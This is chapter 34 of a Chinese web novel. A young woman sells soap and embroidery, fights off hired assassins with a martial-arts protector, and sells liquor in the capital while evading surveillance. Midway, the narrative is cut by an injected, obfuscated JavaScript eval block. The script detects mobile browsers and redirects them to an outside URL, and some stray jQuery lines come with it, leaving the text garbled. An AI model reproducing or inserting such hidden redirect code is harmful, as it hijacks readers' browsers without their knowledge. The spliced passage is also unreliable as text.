34、预定肥皂
次日,苏云将制作好的蒸馏酒、几十块肥皂,再把绣娘的作品带上,杨三叔、杨婶子、何小花、陆平,分了两辆牛车,一起浩浩荡荡进城去了。
先去如临院子,三妞都在,很快卸了酒坛,陆平和何小花去木工作坊取了定制的盒子,回到凉水院子,这一下全部都到了凉水院子集中。
苏云拿出肥皂装在盒子里,看起来很精致,又让杨婶子、何小花,陆平一起先到了绣庄。杨三叔听说去绣庄,表示没兴趣,还不如在院子里吃冰棍解暑。
绣庄铺面,一个小姑娘见四人进来,忙笑脸相迎:“各位可是要买绣品?”杨婶子道:“妹子,我们有事找掌柜。”
小姑娘对着旁边一个招待客人的中年妇人道:“吴妈,客人找你。”
吴妈回过头,上前道:“客人找我,可是有事?”
杨婶子道:“吴掌柜好,我这里有一些绣品,想请掌柜掌掌眼。”
说着,将一沓绣品递过去。吴妈拿了上面几张,略略看了看道:“绣工嘛,只能说还过得去,不过这图样倒是新鲜。要不,我们借一步说话?”
说着,将她们带到了一个厢房。
吴妈是个风韵犹存的中年女子,常年经商,心思活络,大致猜到了杨婶子的用意,道:“你这是想要把绣品放我们这里寄卖?”
杨婶子看了一眼苏云,然后对吴妈道:“正是,奴家姓杨,人们叫我杨婶子,以前也是绣娘出身。我们村里有好些姑娘,跟着我学刺绣,这就是她们的绣品。都是农家出身,只学了两个月,活儿并不是很好,也就空闲时绣一些绣品,看能不能在贵店寄卖?若是吴掌柜看得上,能收购更好。如果贵店有忙不完的活,要求不高的,我们也可以帮忙完成。”
吴妈一边翻检着绣品,时不时拿出一两张放在一旁,一边道:“杨婶子客气了。这水准,虽在我们绣庄只能算中下,但要只是空闲绣绣,两个月时间,达到这个水准只怕实在不易,看得出杨婶子着实费心了。另外,你这些图样是哪里来的呢?”
杨婶子道:“图样是小姐设计的。”苏云道:“吴掌柜好,这些图样是我设计的。”
吴妈看了看苏云道:“小小年纪,竟有这等本事,着实了不起。”
又对杨婶子道:“这些绣品的布料只能是尚可,如果愿意在这里寄卖,和我绣庄的绣娘一样,十五文一张。”又拿起捡出来的几张道:“这几张,可以二十五文一张,卖掉一张,结算一张,你看可否?”
杨婶子道:“甚好。”
吴妈道:“最近接了一个单子,是张大户家要绣一组屏风,工作量有些大,如果愿意,后日你可以让二十五文的绣娘过来帮忙,我们按绣庄的绣娘一样开工钱。”
杨婶子看看看捡出来的几张绣品,对何小花道:“都是二妞、小草和你的,你可愿意去帮忙?”
何小花看看苏云,见苏云点头,于是道:“承蒙掌柜看得上,小花自是愿意的。”
苏云见绣品的事情谈得差不多了,就对吴妈道:“吴掌柜,我这里有一款最新的胰子,名为肥皂,清洁衣物,确有很好效果,你看有没有兴趣?”
说着,拿出一个木盒子,打开,露出里面的雕花肥皂。
吴妈拿出肥皂看看,闻闻,道:“确实是个新奇东西,只是这洁净衣服怎么说?”
苏云道:“能否借贵店洗衣盆一试?”
吴妈道:“不若我们去后堂试试?”于是带着他们进入后院,一个洗衣妇正在清洗衣物。
苏云上前,将肥皂递给洗衣服的道:“你用这个洗一下衣物试试。”
洗衣服的见吴妈点头,就接过肥皂,捡了一件最脏的衣服,抹上肥皂搓洗起来,只见泡沫四起,过了一会儿,拿到水里浸泡,再用清水洗了两遍,拧干一抖,只觉得衣物很是干净。
吴妈赞道:“确是好东西,你准备怎么卖?”
苏云道:“此物造价比较高,且一块能洗不少衣物,算下来三十文可好?”
吴妈道:“三十文太高,若是寄卖,直接卖给客人,三十文怕也是很难卖出去。二十文吧,比较合适。”
苏云想了想道:“也行,但只能是肥皂,盒子你要的话,需要另算,目前只是试卖,你要多少个?”
吴妈道:“先要五十块,如果不错,以后再进。”
苏云道:“好说,过几日给你送过来。”
从绣庄出来,苏云又去了成衣店和几家杂货铺,以二十文的价格预订了五百多块。
回到凉水院子,杨三叔坐在躺椅上,左手扇着凉扇,右手还拿着一根冰棍,时不时吃上一口,相当惬意。
苏云找到阿牛娘,告诉他阿牛这段时间在京城不回来,如果愿意,她也可以去京城照顾阿牛他们。阿牛娘自然十分高兴答应了下来。
苏云去了一趟如临院,见三头牛正在灌装酒瓶,心里算了一下,现在差不多有五千瓶的样子,告诉大牛二牛,今日准备一下,明日就要和车队一起去京城。
时间已晚,苏云和王嬷嬷慢慢走回去,路上已无多少行人。只见路边躺着一个妇人,衣衫褴褛,旁边放着一个破碗,脸色惨白,已无生气,一个蓬头垢面的十来岁小女孩撕心裂肺在哭。想是哪里来的乞丐,苏云于心不忍,上前问道:“小妹妹怎么了?”,小女孩哭道:“我和娘出来要饭,不久娘亲就睡着了,叫都叫不醒。”苏云惨然道:“小妹妹,娘亲到天上去了,你还有亲人吗?”小女孩道:“还有爹爹。”苏云道:“爹爹在哪里?”小女孩指着前面道:“就在前面,拐两个弯就到了。”小女孩拉着苏云的手道:“我带姐姐去吧。”王嬷嬷朝苏云摇摇头,苏云也略觉有些不对,一个小女孩怎么这么说?但苏云也不怕,就道:“好的。”小女孩拉着苏云的收就走,连地上的娘亲看都没再看一眼。
只见小女孩拉着苏云的手,朝着前面一个小巷走进去,小巷里面没人,再转一个弯,更觉冷清。苏云停步道:“小妹妹,你家在哪里?”小女孩用手一指道:“就在前面了。”才走几步,只见前面转弯处走出两个大汉,一人执刀,一人拿棍,一言不发,站在前面冷冷地看着苏云等人。苏云刚要问小女孩,突然觉得手腕一痛,立时无力,却是着了小女孩的道。
小女孩一击得中,立马跳开,朝前面两人跑过去。原来并不是什么小女孩,应是一个侏儒,已经快三十的年纪,看起来还和小孩子一样。
王嬷嬷朝前一步道:“你们是什么人,要钱就说,为何要如此?”
一个大汉道:“三妹出马,果然名不虚传,轻易就将她带来了。”
另一大汉道:“不为求财,只是受人所托,取你性命罢了。”先前大汉色眯眯道:“这小妮子长得委实好看,就这样杀了太可惜,莫若等哥俩先快活了再取性命?”另一大汉不理,小女孩哼了一声,也不言语。
大汉道:“你也不用吃惊,我们夜羽三煞,江湖上也小有名气,专为别人收钱免灾的,干的都是脏事,也怪你命不好,得罪了不该得罪的人。”苏云知道多说无益,挡开王嬷嬷,小声道:“赶快去叫人。”一抖手,腰间软鞭已握在右手,只是左臂尚没什么知觉,使不出劲力。王嬷嬷知道自己帮不上什么忙,只得转头跑了。
一大汉笑道:“没想到还是练家子。”哈哈一笑,执刀扑将过来,不待他近前,苏云手一抖,追风鞭法的“灵蛇吐信”,竟然夹带破空之声,大汉过于轻敌,见鞭到眼前,忙抡刀一记抚云刀法,想挡开这一鞭,谁知还没碰到鞭子,只见苏云一抖手,鞭子一荡,已换成“劲风式,”长鞭竟如铁棍、长枪 ,直刺大汉右肩,只听扑地一声,大汉躲避不及,刺进大汉右肩,大汉大叫一声,待要用左手去抓长鞭,却被苏云往上一挑,长鞭挑破右肩而出,立时鲜血四溅,大汉惨叫一声,摔倒在地。
小女孩大怒:“你敢伤我大哥?”手持握着两把匕首,猱身扑来,竟是相当有气势,使棍的大汉也大叫一声,抡起棍子扑将过来。常言道:“一寸长,一寸强;一寸短,一寸险。”小女孩的两把匕首看起来更是凶猛,苏云不敢让她靠近,只是摆动长鞭,夹带内力,小女孩左格右挡,只是冲不过来,无法近身。小巷比较窄,使棍的也冲不过来,只是干着急。苏云也着急,若是左手没有受伤,可以扯掉项链,用作石子暗器打出去,现在只有一只手,只能阻止他们扑过来,一边朝后退,拖延时间。
正在相持之间,只听巷子外响起脚步声,有人朝这边跑来。小女孩叫了一声:“二哥,风紧,扯呼!”边战边向后退,使棍的汉子也想向后撤,不料一分神,脸颊中了一鞭,痛得眼冒金星,倒在地上大叫:“三妹快跑,不用管我们。”
只见杨三叔瞬间出现在巷口,小女孩眼看不敌,猛地跃上围墙,正欲跑开,杨三叔右手一指,一股真气朝小女孩右腿激射而出,正好苏云也长鞭朝小女孩脚上扫去,小女孩纵身一跃,躲过长鞭,却被杨三叔的真气刺伤小腿,弯下腰,忍住痛,咬牙一拐一拐跑远,凶悍之气,让人惊叹。杨三叔还要去追,只见那个肩头伤得不轻的大哥强自站起,手执钢刀挡在前面。苏云道:“杨三叔算了,让她去吧。”杨三叔一眨眼就晃到持刀汉子身边,伸手一点,那个汉子瘫倒在地上。
杨三叔过来,道:“没有受伤吧?”苏云一边笑一遍收起长鞭到:“没大事,就是左手被暗算,想是被封住了什么穴道,没有力气,幸好杨三叔及时赶到,不然只怕真跑不掉了!”杨三叔托起她的左手,随手点了几下,苏云伸伸手,感觉似乎可以慢慢动起来了。杨三叔道:“没事,穴道解开就好了,需慢慢回血。”
杨三叔看看两个大汉道:“这两人怎么办?”苏云想了想,道:“灭口吧,把他们弄成互殴砍杀就行。”杨三叔道:“不用审一审?”苏云道:“不用,我知道他们幕后是谁。”
第一次真正动手,和前面那一次县里遇到的泼皮完全不一样,苏云想想很是有些后怕。
杨三叔来得很快,一则凉水院并不远,另一则是王嬷嬷想了办法,自己跑不快,看见巷口有一个小乞丐,给了他一两银子,让他最快速度去凉水院找杨三叔帮忙。果然,小乞丐拿着银子,使出吃奶的力气,狂奔到凉水院,说要见杨三叔,杨三叔正在院子里惬意的吃着冰棍,一听说苏云有危险,抱起小乞丐就跑,让小乞丐指点到了小巷口,看见王嬷嬷在,这才放下小乞丐,冲进巷子。小乞丐被杨三叔抱着,跑得像飞一样,简直不敢相信,被放在地上后,还一直蒙蒙的。
苏云平息了一阵气息,这才回到凉水院,又让陆平去脚行先把运货的牛车先租好,等明日瓷瓶一到,就可以出发了。
苏云也觉得很热,去制冰作坊看看,只见秦氏夫妇正干的热火朝天,娟儿认真在记录,也就没多说什么,拿了一根冰棍出来,惬意的吃起来,冰棍生意,估计还能做一个多月了。
待到晚上,莺儿也回来吃晚饭。好些日子没见到莺儿,苏云很是高兴,莺儿自然也是小姐长小姐短在苏云身边转个不停。饭后,莺儿弹唱了一曲,竟然有了几分专业味道,而且很是大方,获得院子里的观众一阵掌声。
次日上午,苏云单独跟杨三叔说了自己的忧虑。
苏云道:“杨三叔,你不是外人,很多话我也是跟你实说。卧云醉利润很大,我很是担心黎大为已经被京里的大人物盯上了。要知道,如果没有根基,这种生意很难不被人算计,就算有国公府在背后,但关系还没到那一步,支持也很有限。所以这次到京,主要想请杨三叔鼎力支持一下。”
杨三叔到:“自是义不容辞,只是我要做些什么?”
苏云道:“这次车队七八辆,进京难免不会遭人注意。若是要说哪里最容易泄漏消息,当数城门处。我想:若有人整天在城门守着,这个不太现实,最有可能,是守城官兵,有了消息会去派人去报告。你是老江湖,若有人报告之人,想办法拿下,离开京城之时再放他。最要紧之处,就是神不知鬼不觉。”
杨三叔道:“拿下此人自是没有问题,只是青天白日,还要关押许多天,却放在何处比较合适?”
苏云道:“只需说明用意,黎大为定会有办法处理好。”
杨三叔道:“如此甚好。”
苏云道:“第二就是保证黎大为和陆平安全,让他们顺利回来。”
下午,陆平带上租赁好的牛车,先装好灌装好的蒸馏酒,然后带着几个空车,苏云、王嬷嬷、杨三叔、阿牛娘、大牛二牛,一起去城外接酒瓶。
还是在那片竹林旁,窑场的酒瓶到了,苏云把三种瓶子都拿出来瞧瞧,只见三种色彩不一样,都是瞿老夫子的题字,看起来很是有档次,也是相当满意。瓷瓶生意,运输破损在所难免,一般都会多烧几个。
交割完毕装车,苏云把信交给了陆平,交代把酒送到黎大为居处,把空瓶送到阿牛处。于是一行七八辆车,朝着京城出发。
苏云和王嬷嬷目送牛车走远后,又去县衙找朱县令办理作坊的手续,手续必须齐全,不能授人以柄。
牛车上路,其实到京城并不远,中途找个旅店歇息,第二天一早出发,当天下午赶在城门关闭之前到了城门口。
守城兵士见来了车队,上前盘查,路平赶紧拿出路引,还塞了一小袋银子,收成兵士掂了掂,道:“是什么货?有没有私藏犯人?”
陆平陪笑:“大人说笑了,小的一介商贾伙计,怎么敢私藏犯人。这是拉到京城来的酒售卖的酒。”
兵士叫来两个同僚,上去检查,看到是卧云醉,两人对视一眼,然后挥手道:“走吧。”
陆平忙点头哈腰,一挥手,牛车跟着进城。
杨三叔道:“你们先走,一会我去找你们。”
陆平答应,带着车队走了。
杨三叔下车,看旁边有一个茶摊,正准备过去,却见刚才检查的兵士走到一个军官面前说着什么
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17205764|197331||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,军官又交代了几句,一个兵士回营。一会儿出来,换成了一身平民服装,就朝城里走去。
杨三叔默不作声,也悄悄跟在后面。
兵士继续跟着,刚到了一个人少的拐弯处,突觉颈部被一记重击,双眼一黑,不省人事。杨三叔击晕兵士后,把他搬到车上,就像是赶车人睡着了一样,并未引起任何人注意。
车队到了黎大为的院子,黎大为开门出来,陆平把信交给了他。前面的蒸馏酒开始卸货,剩下的空瓶车,陆平带着继续往前走,应是要去阿牛的地方。
到了阿牛处,阿牛见老娘来了,兴奋得像个孩子似的,被陆平止住,让赶紧把货搬进去再说。那个兵士也被杨三叔和陆平架着进了内院,点了昏睡穴,找来一条黑布,蒙上眼,堵上嘴,捆了个结实,扔到一间偏僻的空房间里锁着。
卸完货,车夫自行将牛车赶到京城的货行不说。
陆平吩咐他们要小心之后,就和杨三叔回到了黎大为的院子。
黎大为已经看完信件,正在考虑该怎么做,见到二人回来,忙上前见礼,陆平介绍了杨三叔。
黎大为道:“小姐信中所说,只怕我们一行早就被惦记上了。他们主要都在盯着我,有些事,要交代阿牛,只是我不便联系阿牛,却又如何是好?”
杨三叔道:“此是小事,先吃饭吧。”
陆平忙去酒楼带回饭食。
酒足饭饱,看看天色已晚,杨三叔道:“阿牛处离此并不远,你所交代的事也比较多,不若我们去找阿牛。”
黎大为起身,走到院中,准备去开门,杨三叔道:“不必。”说完拉住黎大为的手,纵身一跃,上了房顶,然后发足奔跑。黎大为简直惊得目瞪口呆,仿佛腾云驾雾,正不知所措间,已跑过好多房顶,落在了阿牛院中。
阿牛母子还在叙话,突然间两人落在院中,吓了一跳。黎大为把他叫出,把图纸给他,把苏云安排的事给他说了,给了他五百两的银票,还说清楚要买什么酒,在院子什么地方开个小门等等。
次日一早,黎大为带着陆平就出门了,杨三叔则远远跟在后面,暗中保护。
黎大为首先来到刘记酒铺,刘记酒铺在闹市区,也是前店后坊的规制,时间尚早,基本没有客人,伙计见黎大为进门,忙满脸堆笑道:“余公子来了,快请进。可是要找方掌柜?”
黎大为拱手:“杨哥早,正是要找方掌柜。”
杨哥笑道:“余公子稍等,我这就去请。”正要动身,却见一个中年人从后院走出来,笑着道:“余公子来了,稀客,这两日正说要找你,不想余公子竟亲自上门了。”
黎大为拱手:“方掌柜好。”
方掌柜道:“快请进,我们里边谈。”
进得后院客厅坐定,黎大为道:“前些日子进的货,不知道销量如何?”
方掌柜道:“托余公子福,卧云醉最近在京城可谓十分抢手,虽价格贵些,奈何达观贵人不缺钱,就好这一口,前些日子进的一百瓶,只怕今日就要售罄,正想寻余公子再进一批呢。”
黎大为道:“这两日正好进来一批货,家中老父嘱咐要尽快脱手,及早返家,何时再来京城,却是不得而知。你看这次需要多少瓶?”
方掌柜道:“一千如何?”
黎大为道:“需要多少,全看方掌柜。只是这一次的价格嘛,须得往上提一提。”
方掌柜道:“这价格已然不低,若是再往上提,只要销路有损。”
黎大为故作为难:“在下自是知晓,只是家父在信中说,家中最近出了大事,需很多银子补贴。”
方掌柜也不打听何事,问:“既如此,余公子此次准备涨价多少?”
黎大为比了一个巴掌的手势,方掌柜还了一个二,黎大为还四,几番比划,终于在三个指头上面达成共识。也就是每瓶涨价三两银子。
黎大为收了定金,道:“下午即可送到。”
方掌柜笑着把二人送出铺子。
一个上午,差不多六千瓶就销售一空,尤其是樊楼和丽香苑,听说黎大为可能不会再来京城,更是觉得奇货可居,各自吃下了两千瓶。黎大为自己留下了二十瓶,拿出十瓶送给瞿老夫子,四瓶给了国公府,余下的几瓶都给了几个名家,都是以名酒轩的名号送出。
下午发货后,收拾齐整,准备明日一早就出发回临川。
待到晚上,杨三叔把他又带到了阿牛的院子,各人找了一块布,把脸蒙上,只留一双眼睛。
来到偏僻的房间,那个兵士还在睡着,扯去眼罩,杨三叔上去拍了一掌,兵士缓缓醒来,突然看到微亮的光线中,两个蒙面人盯着自己,吓了一跳,想叫却叫不出声来。
杨三叔道:“有事问你,不准叫,不然要你命。”
兵士满眼恐慌,拼命点头。
杨三叔问道:“若有半句谎言,你见不到明天的太阳。我问你,你为什么要跟踪车队?”
兵士道:“不敢瞒大爷,是长官命我跟着车队的。”
杨三叔道:“长官怎么说的?”
兵士道:“长官遣我只是跟着车队,只要记住车队在什么地方停车、卸货就可以,没有安排别的事情。”
杨三叔道:“为什么要跟着车队?”
兵士道:“不清楚啊,长官说过,只要是贩酒的,都要仔细检查,若是卧云醉,不要打扰,直接上报给他。”
杨三叔和黎大为对望了一眼:“长官可曾说要做什么?”
兵士道:“未曾听说要做什么,只是让我们跟着。”
黎大为压着嗓子问道:“是不是有人找过长官,要他盯着卧云醉?”
兵士道:“不清楚啊,好像几日前,是有一个管家模样的人来找过长官,小声谈了一阵后,长官就要求我们注意进城的货车。”
黎大为道:“什么府上的管家?”
兵士到:“看服装,和他谈话,应该是哪一个王府的管家。”
黎大为和杨三叔觉得差不多了,黎大为拿出一个馒头,一碗水,喂他吃完,喝完水之后,又点了他的睡穴。
看来现在还只是关注,并没有完全下手。
两人出来,和阿牛、何大壮商议一阵后,也就让杨三叔把他带回了院子。
次日一早,跟房东交代后,黎大为和陆平骑着马,出了城门而去,杨三叔想起苏云的交代,怕二人路上不安全,于是和他们一起出发,一路快马疾驰,倒没有遇到什么事情,当日便回到了临川。
阿牛按照黎大为给的要求,昨天已经定制了蒸馏器具,今日到酒铺去买了不少好酒,让人拉到院子,并没有引起人的注意。到了晚上,将那个兵士解绑,趁着夜晚,扔到了离院子很远的一个巷子里。
拿到蒸馏器具后,阿牛他们就整日关在院子里面,按照隔壁的酿酒时间开始蒸馏起酒来,平日都是阿牛娘出去买菜做饭,日子过得很是舒坦。